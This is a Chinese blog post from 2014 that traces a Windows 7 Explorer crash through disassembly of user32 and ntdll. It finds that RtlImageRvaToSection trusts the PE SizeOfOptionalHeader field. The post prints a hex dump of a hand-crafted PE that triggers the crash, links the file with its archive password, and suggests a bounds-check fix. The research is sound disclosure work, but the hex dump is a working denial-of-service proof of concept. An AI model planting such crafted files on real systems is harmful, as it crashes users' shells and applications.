再爆Windows崩溃漏洞
再爆Windows 崩溃漏洞
/**************************************
/* 作者:半斤八兩
/* 博客:http://cnblogs.com/bjblcracked
/* 日期:2014-04-24 01:01
/**************************************
只是感兴趣,没有其他目的。失误之处敬请诸位大侠赐教!
这次受影响的平台:Win7 x86 x64 包括安全模式.其它平台未测试.
中枪程序:peid everything 等,所有PE编辑相关的程序.
昨天半夜的时候J师傅说是之前电脑中了病毒,文件又被感染了.自己太忙,没有时间.
就发来让我分析.我刚接到文件的时候,文件打开就崩溃了.
用everything 搜索这个程序名字,也会崩溃.(这里有点不解,everything 只是一个搜索工具,为什么也会崩溃? 具体原因没有细分心. 因为这不是重点.)
随后测试了许多程序,都会崩溃的. 于是就知道是系统哪里有问题了.剩下的就是分析了.
分析其它程序,不能证明是系统的漏洞,所以我决定从explorer 开始分析.
分析的时候,先用ollydbg打开explorer 的进程. 然后打开任务管理器.把重复的explorer 结束就可以分析了.
Explorer 是多线程的程序. 分析起来着实不怎么方便.为了方便分析,我们可以暂停其它无用的线程.
通过条件断点,定位到触发崩溃的函数是 user32.PrivateExtractIconsW.
我们来看一下msdn 是怎么介绍的.(我的msdn太老了.我们只能看在线的了!!! )
PrivateExtractIcons function
[This function is not intended for general use. It may be altered or unavailable in subsequent versions of Windows.]
Creates an array of handles to icons that are extracted from a specified file.
Syntax
C++
UINT WINAPI PrivateExtractIcons(
_In_ LPCTSTR lpszFile,
_In_ int nIconIndex,
_In_ int cxIcon,
_In_ int cyIcon,
_Out_opt_ HICON *phicon,
_Out_opt_ UINT *piconid,
_In_ UINT nIcons,
_In_ UINT flags
);
通过这个函数,大概可以知道应该是在处理pe icon时出的问题了.
764B0D13 u> 8BFF mov edi, edi ; user32.PrivateExtractIconsW 764B0D15 55 push ebp 764B0D16 8BEC mov ebp, esp 764B0D18 81EC 5C040000 sub esp, 45C 764B0D1E A1 08915076 mov eax, dword ptr ds:[76509108] 764B0D23 33C5 xor eax, ebp 764B0D25 8945 FC mov dword ptr ss:[ebp-4], eax 764B0D28 8B45 08 mov eax, dword ptr ss:[ebp+8] 764B0D2B 838D D8FBFFFF F>or dword ptr ss:[ebp-428], FFFFFFFF 764B0D32 53 push ebx 764B0D33 56 push esi 764B0D34 8B75 18 mov esi, dword ptr ss:[ebp+18] 764B0D37 33DB xor ebx, ebx 764B0D39 57 push edi 764B0D3A 8B7D 1C mov edi, dword ptr ss:[ebp+1C] 764B0D3D 8985 D0FBFFFF mov dword ptr ss:[ebp-430], eax 764B0D43 89B5 D4FBFFFF mov dword ptr ss:[ebp-42C], esi 764B0D49 899D DCFBFFFF mov dword ptr ss:[ebp-424], ebx 764B0D4F 3BF3 cmp esi, ebx 764B0D51 0F84 AFE60000 je user32.764BF406 764B0D57 8B55 20 mov edx, dword ptr ss:[ebp+20] 764B0D5A 3BD3 cmp edx, ebx 764B0D5C 76 1B jbe short user32.764B0D79 764B0D5E 8BCE mov ecx, esi 764B0D60 8BC7 mov eax, edi 764B0D62 2BCF sub ecx, edi 764B0D64 3BF3 cmp esi, ebx 764B0D66 74 03 je short user32.764B0D6B 764B0D68 891C01 mov dword ptr ds:[ecx+eax], ebx 764B0D6B 3BFB cmp edi, ebx 764B0D6D 0F85 58090300 jnz user32.764E16CB 764B0D73 83C0 04 add eax, 4 764B0D76 4A dec edx 764B0D77 ^ 75 EB jnz short user32.764B0D64 764B0D79 FFB5 D0FBFFFF push dword ptr ss:[ebp-430] 764B0D7F E8 B2010000 call user32.764B0F36 764B0D84 3D 2E636D64 cmp eax, 646D632E 764B0D89 0F84 1F010000 je user32.764B0EAE 764B0D8F 3D 2E706966 cmp eax, 6669702E 764B0D94 0F84 14010000 je user32.764B0EAE 764B0D9A 3D 2E6C6E6B cmp eax, 6B6E6C2E 764B0D9F 0F84 09010000 je user32.764B0EAE 764B0DA5 3D 2E636F6D cmp eax, 6D6F632E 764B0DAA 0F84 FE000000 je user32.764B0EAE 764B0DB0 3D 2E626174 cmp eax, 7461622E 764B0DB5 0F84 F3000000 je user32.764B0EAE 764B0DBB 68 04010000 push 104 764B0DC0 8D85 E0FBFFFF lea eax, dword ptr ss:[ebp-420] 764B0DC6 50 push eax 764B0DC7 FFB5 D0FBFFFF push dword ptr ss:[ebp-430] 764B0DCD FF15 94134A76 call near dword ptr ds:[<&KERNEL32.Expan>; kernel32.ExpandEnvironmentStringsW 764B0DD3 33C0 xor eax, eax 764B0DD5 66:8985 E6FDFFF>mov word ptr ss:[ebp-21A], ax 764B0DDC 8D85 E0FBFFFF lea eax, dword ptr ss:[ebp-420] 764B0DE2 50 push eax 764B0DE3 E8 E2000000 call user32.764B0ECA 764B0DE8 85C0 test eax, eax 764B0DEA 0F85 E3080300 jnz user32.764E16D3 764B0DF0 53 push ebx 764B0DF1 8D85 E8FDFFFF lea eax, dword ptr ss:[ebp-218] 764B0DF7 50 push eax 764B0DF8 68 04010000 push 104 764B0DFD 53 push ebx 764B0DFE 8D85 E0FBFFFF lea eax, dword ptr ss:[ebp-420] 764B0E04 50 push eax 764B0E05 53 push ebx 764B0E06 FF15 90134A76 call near dword ptr ds:[<&KERNEL32.Searc>; kernel32.SearchPathW 764B0E0C 85C0 test eax, eax 764B0E0E ^ 0F84 0040FFFF je user32.764A4E14 764B0E14 6A 22 push 22 764B0E16 53 push ebx 764B0E17 8D85 E8FDFFFF lea eax, dword ptr ss:[ebp-218] 764B0E1D 50 push eax 764B0E1E FF15 98134A76 call near dword ptr ds:[<&KERNEL32.LoadL>; kernel32.LoadLibraryExW 764B0E24 8985 D0FBFFFF mov dword ptr ss:[ebp-430], eax 764B0E2A 53 push ebx 764B0E2B 3BC3 cmp eax, ebx 764B0E2D 0F84 082F0200 je user32.764D3D3B 764B0E33 8B4D 0C mov ecx, dword ptr ss:[ebp+C] 764B0E36 898D A4FBFFFF mov dword ptr ss:[ebp-45C], ecx 764B0E3C 8B4D 10 mov ecx, dword ptr ss:[ebp+10] 764B0E3F 898D A8FBFFFF mov dword ptr ss:[ebp-458], ecx 764B0E45 8B4D 14 mov ecx, dword ptr ss:[ebp+14] 764B0E48 898D ACFBFFFF mov dword ptr ss:[ebp-454], ecx 764B0E4E 8B4D 20 mov ecx, dword ptr ss:[ebp+20] 764B0E51 898D B8FBFFFF mov dword ptr ss:[ebp-448], ecx 764B0E57 8B4D 24 mov ecx, dword ptr ss:[ebp+24] 764B0E5A 53 push ebx 764B0E5B 898D BCFBFFFF mov dword ptr ss:[ebp-444], ecx 764B0E61 8D8D A4FBFFFF lea ecx, dword ptr ss:[ebp-45C] 764B0E67 51 push ecx 764B0E68 68 9D114B76 push user32.764B119D 764B0E6D 6A 0E push 0E 764B0E6F 50 push eax 764B0E70 89B5 B0FBFFFF mov dword ptr ss:[ebp-450], esi 764B0E76 89BD B4FBFFFF mov dword ptr ss:[ebp-44C], edi 764B0E7C 899D C0FBFFFF mov dword ptr ss:[ebp-440], ebx 764B0E82 899D C4FBFFFF mov dword ptr ss:[ebp-43C], ebx 764B0E88 FF15 E0134A76 call near dword ptr ds:[<&KERNEL32.EnumR>; kernel32.EnumResourceNamesExW 764B0E8E FFB5 D0FBFFFF push dword ptr ss:[ebp-430] 764B0E94 FF15 DC144A76 call near dword ptr ds:[<&KERNEL32.FreeL>; kernel32.FreeLibrary 764B0E9A 3BF3 cmp esi, ebx 764B0E9C 0F84 4E080300 je user32.764E16F0 ; EnumResourceNameExW 764B0EA2 8B85 C4FBFFFF mov eax, dword ptr ss:[ebp-43C] ; EnumResourceNamesExW 764B0EA8 8985 DCFBFFFF mov dword ptr ss:[ebp-424], eax 764B0EAE 8B4D FC mov ecx, dword ptr ss:[ebp-4] 764B0EB1 8B85 DCFBFFFF mov eax, dword ptr ss:[ebp-424] 764B0EB7 5F pop edi 764B0EB8 5E pop esi 764B0EB9 33CD xor ecx, ebp 764B0EBB 5B pop ebx 764B0EBC E8 2EC10000 call user32.764BCFEF 764B0EC1 C9 leave 764B0EC2 C2 2000 retn 20
顺着往下跟,我们来到这个函数. kernel32.EnumResourceNamesExW
EnumResourceNames
The EnumResourceNames function searches a module for each resource of the specified type and passes either the name or the ID of each resource it locates to an application-defined callback function.
BOOL EnumResourceNames(
HMODULE hModule, // module handle
LPCTSTR lpszType, // resource type
ENUMRESNAMEPROC lpEnumFunc, // callback function
LONG_PTR lParam // application-defined parameter
);
1 76404425 k> 8BFF mov edi, edi ; kernel32.EnumResourceNamesExW 2 3 76404427 55 push ebp 4 5 76404428 8BEC mov ebp, esp 6 7 7640442A 6A 00 push 0 8 9 7640442C FF75 1C push dword ptr ss:[ebp+1C] 10 11 7640442F FF75 18 push dword ptr ss:[ebp+18] 12 13 76404432 FF75 14 push dword ptr ss:[ebp+14] 14 15 76404435 FF75 10 push dword ptr ss:[ebp+10] 16 17 76404438 FF75 0C push dword ptr ss:[ebp+C] 18 19 7640443B FF75 08 push dword ptr ss:[ebp+8] 20 21 7640443E E8 6EFCFFFF call kernel32.764040B1 // 这里我们跟进去. 22 23 76404443 5D pop ebp 24 25 76404444 C2 1800 retn 18
7640443e 跟进去来到下面.
1 764040B1 68 88000000 push 88 2 3 764040B6 68 F8434076 push kernel32.764043F8 4 5 764040BB E8 B07C0000 call kernel32.7640BD70 6 7 764040C0 33FF xor edi, edi 8 9 764040C2 897D C0 mov dword ptr ss:[ebp-40], edi 10 11 764040C5 897D BC mov dword ptr ss:[ebp-44], edi 12 13 764040C8 897D D0 mov dword ptr ss:[ebp-30], edi 14 15 764040CB 897D E0 mov dword ptr ss:[ebp-20], edi 16 17 764040CE 897D A0 mov dword ptr ss:[ebp-60], edi 18 19 764040D1 897D 8C mov dword ptr ss:[ebp-74], edi 20 21 764040D4 897D 88 mov dword ptr ss:[ebp-78], edi 22 23 764040D7 897D B8 mov dword ptr ss:[ebp-48], edi 24 25 764040DA 89BD 78FFFFFF mov dword ptr ss:[ebp-88], edi 26 27 764040E0 897D 98 mov dword ptr ss:[ebp-68], edi 28 29 764040E3 89BD 6CFFFFFF mov dword ptr ss:[ebp-94], edi 30 31 764040E9 897D B4 mov dword ptr ss:[ebp-4C], edi 32 33 764040EC 8B45 18 mov eax, dword ptr ss:[ebp+18] 34 35 764040EF 8BC8 mov ecx, eax 36 37 764040F1 C1E9 03 shr ecx, 3 38 39 764040F4 83E1 01 and ecx, 1 40 41 764040F7 894D DC mov dword ptr ss:[ebp-24], ecx 42 43 764040FA 897D 94 mov dword ptr ss:[ebp-6C], edi 44 45 764040FD 897D 90 mov dword ptr ss:[ebp-70], edi 46 47 76404100 C1E8 04 shr eax, 4 48 49 76404103 F7D0 not eax 50 51 76404105 83E0 01 and eax, 1 52 53 76404108 8BF0 mov esi, eax 54 55 7640410A 57 push edi 56 57 7640410B 8D45 18 lea eax, dword ptr ss:[ebp+18] 58 59 7640410E 50 push eax 60 61 7640410F E8 38030000 call kernel32.7640444C 62 63 76404114 85C0 test eax, eax 64 65 76404116 0F84 00180200 je kernel32.7642591C 66 67 7640411C FF75 0C push dword ptr ss:[ebp+C] 68 69 7640411F E8 9C060000 call <jmp.&KERNELBASE.BaseDllMapResource> 70 71 76404124 8945 9C mov dword ptr ss:[ebp-64], eax 72 73 76404127 83F8 FF cmp eax, -1 74 75 7640412A 0F84 EC170200 je kernel32.7642591C 76 77 76404130 6A 01 push 1 78 79 76404132 FF75 08 push dword ptr ss:[ebp+8] 80 81 76404135 E8 B05D0000 call kernel32.BasepMapModuleHandle 82 83 7640413A 8945 CC mov dword ptr ss:[ebp-34], eax 84 85 7640413D 3BF7 cmp esi, edi 86 87 7640413F 74 2A je short kernel32.7640416B 88 89 76404141 8D4D 94 lea ecx, dword ptr ss:[ebp-6C] 90 91 76404144 51 push ecx 92 93 76404145 FF75 DC push dword ptr ss:[ebp-24] 94 95 76404148 50 push eax 96 97 76404149 E8 46030000 call kernel32.76404494 98 99 7640414E 3BC7 cmp eax, edi 100 101 76404150 7C 19 jl short kernel32.7640416B 102 103 76404152 8D45 90 lea eax, dword ptr ss:[ebp-70] 104 105 76404155 50 push eax 106 107 76404156 57 push edi 108 109 76404157 FF75 9C push dword ptr ss:[ebp-64] 110 111 7640415A FF75 94 push dword ptr ss:[ebp-6C] 112 113 7640415D FF15 F0123C76 call near dword ptr ds:[<&ntdll.LdrRscIs>; ntdll.LdrRscIsTypeExist 114 115 76404163 3BC7 cmp eax, edi 116 117 76404165 0F8C FA3A0200 jl kernel32.76427C65 118 119 7640416B 8B5D 18 mov ebx, dword ptr ss:[ebp+18] 120 121 7640416E 895D 18 mov dword ptr ss:[ebp+18], ebx 122 123 76404171 8365 18 02 and dword ptr ss:[ebp+18], 2 124 125 76404175 0F84 87000000 je kernel32.76404202 126 127 7640417B 8B45 94 mov eax, dword ptr ss:[ebp-6C] 128 129 7640417E 33F6 xor esi, esi 130 131 76404180 3BC6 cmp eax, esi 132 133 76404182 0F84 923C0200 je kernel32.76427E1A 134 135 76404188 F640 10 01 test byte ptr ds:[eax+10], 1 136 137 7640418C 0F84 883C0200 je kernel32.76427E1A 138 139 76404192 F745 90 0000020>test dword ptr ss:[ebp-70], 20000 140 141 76404199 0F85 B43A0200 jnz kernel32.76427C53 142 143 7640419F 68 80000000 push 80 144 145 764041A4 8D45 C8 lea eax, dword ptr ss:[ebp-38] 146 147 764041A7 56 push esi 148 149 764041A8 50 push eax 150 151 764041A9 66:3975 1C cmp word ptr ss:[ebp+1C], si 152 153 764041AD 0F85 DAA90200 jnz kernel32.7642EB8D 154 155 764041B3 FF75 CC push dword ptr ss:[ebp-34] 156 157 764041B6 FF15 E8123C76 call near dword ptr ds:[<&ntdll.LdrLoadA>; ntdll.LdrLoadAlternateResourceModule 158 159 764041BC 3BC6 cmp eax, esi 160 161 764041BE 0F8C 563C0200 jl kernel32.76427E1A 162 163 764041C4 3975 DC cmp dword ptr ss:[ebp-24], esi 164 165 764041C7 0F85 D1A90200 jnz kernel32.7642EB9E 166 167 764041CD 8D45 80 lea eax, dword ptr ss:[ebp-80] 168 169 764041D0 50 push eax 170 171 764041D1 8D45 D8 lea eax, dword ptr ss:[ebp-28] 172 173 764041D4 50 push eax 174 175 764041D5 53 push ebx 176 177 764041D6 FF75 B0 push dword ptr ss:[ebp-50] 178 179 764041D9 FF75 C8 push dword ptr ss:[ebp-38] 180 181 764041DC E8 09030000 call kernel32.764044EA 182 183 764041E1 8BF8 mov edi, eax 184 185 764041E3 3BFE cmp edi, esi 186 187 764041E5 7C 1B jl short kernel32.76404202 188 189 764041E7 8D45 BC lea eax, dword ptr ss:[ebp-44] 190 191 764041EA 50 push eax 192 193 764041EB 8BC3 mov eax, ebx 194 195 764041ED 0D 00020000 or eax, 200 196 197 764041F2 50 push eax 198 199 764041F3 56 push esi 200 201 764041F4 56 push esi 202 203 764041F5 FF75 9C push dword ptr ss:[ebp-64] 204 205 764041F8 FF75 C8 push dword ptr ss:[ebp-38] 206 207 764041FB E8 3B030000 call kernel32.7640453B 208 209 76404200 8BF8 mov edi, eax 210 211 76404202 8BF3 mov esi, ebx 212 213 76404204 83E6 01 and esi, 1 214 215 76404207 74 53 je short kernel32.7640425C 216 217 76404209 F745 90 0000040>test dword ptr ss:[ebp-70], 40000 218 219 76404210 0F85 5C3A0200 jnz kernel32.76427C72 220 221 76404216 837D DC 00 cmp dword ptr ss:[ebp-24], 0 222 223 7640421A 0F85 A2A90200 jnz kernel32.7642EBC2 224 225 76404220 8D85 7CFFFFFF lea eax, dword ptr ss:[ebp-84] 226 227 76404226 50 push eax 228 229 76404227 8D45 D8 lea eax, dword ptr ss:[ebp-28] 230 231 7640422A 50 push eax 232 233 7640422B 53 push ebx 234 235 7640422C FF75 AC push dword ptr ss:[ebp-54] 236 237 7640422F FF75 CC push dword ptr ss:[ebp-34] 238 239 76404232 E8 B3020000 call kernel32.764044EA ; // 这里再跟进去. 240 241 76404237 8945 B4 mov dword ptr ss:[ebp-4C], eax 242 243 7640423A 85C0 test eax, eax 244 245 7640423C 7C 1E jl short kernel32.7640425C 246 247 ...
来到这个函数. ntdll.RtlImageDirectoryEntryToData.
这个函数的说明在ddk 和 wdk的帮助文档上都没有找到.可能是未导出的吧 :(
最后再reactos里面看到了源码.如下:
1 /* 2 3 * @implemented 4 5 */ 6 7 PVOID 8 9 NTAPI 10 11 RtlImageDirectoryEntryToData( 12 13 PVOID BaseAddress, 14 15 BOOLEAN MappedAsImage, 16 17 USHORT Directory, 18 19 PULONG Size) 20 21 { 22 23 PIMAGE_NT_HEADERS NtHeader; 24 25 ULONG Va; 26 27 28 29 /* Magic flag for non-mapped images. */ 30 31 if ((ULONG_PTR)BaseAddress & 1) 32 33 { 34 35 BaseAddress = (PVOID)((ULONG_PTR)BaseAddress & ~1); 36 37 MappedAsImage = FALSE; 38 39 } 40 41 42 43 NtHeader = RtlImageNtHeader(BaseAddress); 44 45 if (NtHeader == NULL) 46 47 return NULL; 48 49 50 51 if (Directory >= SWAPD(NtHeader->OptionalHeader.NumberOfRvaAndSizes)) 52 53 return NULL; 54 55 56 57 Va = SWAPD(NtHeader->OptionalHeader.DataDirectory[Directory].VirtualAddress); 58 59 if (Va == 0) 60 61 return NULL; 62 63 64 65 *Size = SWAPD(NtHeader->OptionalHeader.DataDirectory[Directory].Size); 66 67 68 69 if (MappedAsImage || Va < SWAPD(NtHeader->OptionalHeader.SizeOfHeaders)) 70 71 return (PVOID)((ULONG_PTR)BaseAddress + Va); 72 73 74 75 /* image mapped as ordinary file, we must find raw pointer */ 76 77 return RtlImageRvaToVa(NtHeader, BaseAddress, Va, NULL); 78 79 }
反汇编如下:
1 764044EA 8BFF mov edi, edi 2 3 764044EC 55 push ebp 4 5 764044ED 8BEC mov ebp, esp 6 7 764044EF 53 push ebx 8 9 764044F0 8B5D 08 mov ebx, dword ptr ss:[ebp+8] 10 11 764044F3 56 push esi 12 13 764044F4 57 push edi 14 15 764044F5 85DB test ebx, ebx 16 17 764044F7 74 36 je short kernel32.7640452F 18 19 764044F9 8B7D 18 mov edi, dword ptr ss:[ebp+18] 20 21 764044FC 85FF test edi, edi 22 23 764044FE 74 2F je short kernel32.7640452F 24 25 76404500 F645 10 08 test byte ptr ss:[ebp+10], 8 26 27 76404504 0F85 FF9C0200 jnz kernel32.7642E209 28 29 7640450A FF75 14 push dword ptr ss:[ebp+14] 30 31 7640450D 6A 02 push 2 32 33 7640450F 6A 01 push 1 34 35 76404511 53 push ebx 36 37 76404512 FF15 34133C76 call near dword ptr ds:[<&ntdll.RtlImage>; ntdll.RtlImageDirectoryEntryToData 38 39 76404518 8907 mov dword ptr ds:[edi], eax 40 41 7640451A F7D8 neg eax 42 43 7640451C 1BC0 sbb eax, eax 44 45 7640451E 25 77FFFF3F and eax, 3FFFFF77 46 47 76404523 05 890000C0 add eax, C0000089 48 49 76404528 5F pop edi 50 51 76404529 5E pop esi 52 53 7640452A 5B pop ebx 54 55 7640452B 5D pop ebp 56 57 7640452C C2 1400 retn 14
最后我们一路跋山涉水. 发现是 ntdll.RtlImageRvaToSection 这个函数出的问题.
1 /* 2 3 * @implemented 4 5 */ 6 7 PIMAGE_SECTION_HEADER 8 9 NTAPI 10 11 RtlImageRvaToSection( 12 13 PIMAGE_NT_HEADERS NtHeader, 14 15 PVOID BaseAddress, 16 17 ULONG Rva) 18 19 { 20 21 PIMAGE_SECTION_HEADER Section; 22 23 ULONG Va; 24 25 ULONG Count; 26 27 28 29 Count = SWAPW(NtHeader->FileHeader.NumberOfSections); 30 31 Section = IMAGE_FIRST_SECTION(NtHeader); 32 33 34 35 while (Count--) 36 37 { 38 39 Va = SWAPD(Section->VirtualAddress); 40 41 if ((Va <= Rva) && 42 43 (Rva < Va + SWAPD(Section->Misc.VirtualSize))) 44 45 return Section; 46 47 Section++; 48 49 } 50 51 return NULL; 52 53 }
反汇编如下:
1 77D99095 > $ 8BFF mov edi, edi ; ntdll.RtlImageRvaToSection 2 3 77D99097 . 55 push ebp 4 5 77D99098 . 8BEC mov ebp, esp 6 7 77D9909A . 8B4D 08 mov ecx, dword ptr ss:[ebp+8] ; // 这里是取PE Header 里的 Signature 8 9 77D9909D . 66:8B41 14 mov ax, word ptr ds:[ecx+14] // 这里是崩溃的原因. 取的是PE Header 里的 SizeOfOptionalHeader 10 11 77D990A1 . 0FB7C0 movzx eax, ax 12 13 77D990A4 . 8D4408 18 lea eax, dword ptr ds:[eax+ecx+18] 14 15 77D990A8 . 0FB749 06 movzx ecx, word ptr ds:[ecx+6] 16 17 77D990AC . 56 push esi 18 19 77D990AD . 33F6 xor esi, esi 20 21 77D990AF . 57 push edi 22 23 77D990B0 . 85C9 test ecx, ecx 24 25 77D990B2 .^ 0F86 0861FCFF jbe ntdll.77D5F1C0 26 27 77D990B8 > 8B50 0C mov edx, dword ptr ds:[eax+C] // 这里就是崩溃的时候了. <<--------- 28 29 77D990BB . 3955 10 cmp dword ptr ss:[ebp+10], edx 30 31 77D990BE .^ 0F82 F060FCFF jb ntdll.77D5F1B4 32 33 77D990C4 . 8B78 10 mov edi, dword ptr ds:[eax+10] 34 35 77D990C7 . 03FA add edi, edx 36 37 77D990C9 . 397D 10 cmp dword ptr ss:[ebp+10], edi 38 39 77D990CC .^ 0F83 E260FCFF jnb ntdll.77D5F1B4 40 41 77D990D2 > 5F pop edi 42 43 77D990D3 . 5E pop esi 44 45 77D990D4 . 5D pop ebp 46 47 77D990D5 . C2 0C00 retn 0C
看到这里,相信大家都知道原因了吧.
1 77D9909D . 66:8B41 14 mov ax, word ptr ds:[ecx+14] // 因
这里取的是 image_optional_header 的大小.如果我精心构造一个PE. 让他的体积,小于 sizeofoptionheader 会怎样?
这里没有判断.什么也没有.直接过去读取了...
1 77D990B8 > 8B50 0C mov edx, dword ptr ds:[eax+C] // 果
这里就是直接读取了.于是乎报错...
下面.(不知道为什么,看到”下面”两个字,感觉怪怪的.可能是最近群里面朋友发的图片看多了吧..)
下面我们来手工精心构造一个”0Day”
我就不细细介绍了.网上有很多手写PE的文章.
Offset 0 1 2 3 4 5 6 7 8 9 A B C D E F 00000000 4D 5A 20 57 69 6E 64 6F 77 73 20 30 44 61 79 20 MZ Windows 0Day 00000010 42 79 00 B0 EB BD EF B0 CB 83 C9 00 44 61 74 65 By.半斤八兩.Date 00000020 3A 32 30 31 34 2E 30 34 2E 32 34 20 20 20 20 20 :2014.04.24 00000030 20 20 20 20 20 20 20 20 20 20 20 20 40 00 00 00 @... 00000040 50 45 00 00 4C 01 08 00 16 EB E4 4D 00 00 00 00 PE..L....脘M.... 00000050 00 00 00 00 22 22 00 00 0B 01 09 00 00 86 1E 00 ...."".......?. 00000060 00 98 0B 00 00 00 00 00 6A DE 0E 00 00 10 00 00 .?.....j?..... 00000070 00 10 00 00 00 00 40 00 00 10 00 00 00 02 00 00 ......@......... 00000080 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 ................ 00000090 E9 4F 1A E9 00 04 00 00 00 00 00 00 02 00 40 81 镺.?.........@? 000000A0 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 ................ 000000B0 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 ................ 000000C0 00 A0 32 00 F0 00 00 00 00 10 33 00 50 0D 04 00 .?.?....3.P... 000000D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000E0 00 20 37 00 A8 64 01 00 10 21 2D 00 1C 00 00 00 . 7.╠...!-..... 000000F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000100 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000110 00 00 00 00 00 00 00 00 A8 B1 32 00 B8 10 00 00 ........ū2.?.. 00000120 00 00 33 00 40 00 00 00 00 00 00 00 00 00 00 00 ..3.@........... 00000130 00 00 00 00 00 00 00 00 B0 EB BD EF B0 CB 83 C9 ........半斤八兩 00000140 00 70 0E 00 00 10 00 00 00 00 00 00 00 00 00 00 .p.............. 00000150 00 00 00 00 00 00 00 00 00 00 00 00 A0 00 00 E0 ............?.
这上面红色标识的就是 sizeofoptionhead. 只要把这个改成大于 0x1000 就可以了.
这个解决办法应该是在读取的时候,加下简单的判断.
.if sizeofoptionheader >= getfilesize() then
就可以避免这样的问题了.
如果大家不幸中招,可以按 ctrl+alt+del 或者 ctrl+alt+. 再或者 ctrl+shift+esc 等.调出taskmgr 然后用cmd.exe 来删除 “0Day” 即可 :)
附件为精心构造的程序.如果是在windows win7 下,大家就要小心了.
解压密码:bjbl
千万别不小心放到 %windir%\system32 目录下了 那样就好玩了.
最后感谢J师傅发的bin. 要不然也不会有此发现.
PDF档及BIN下载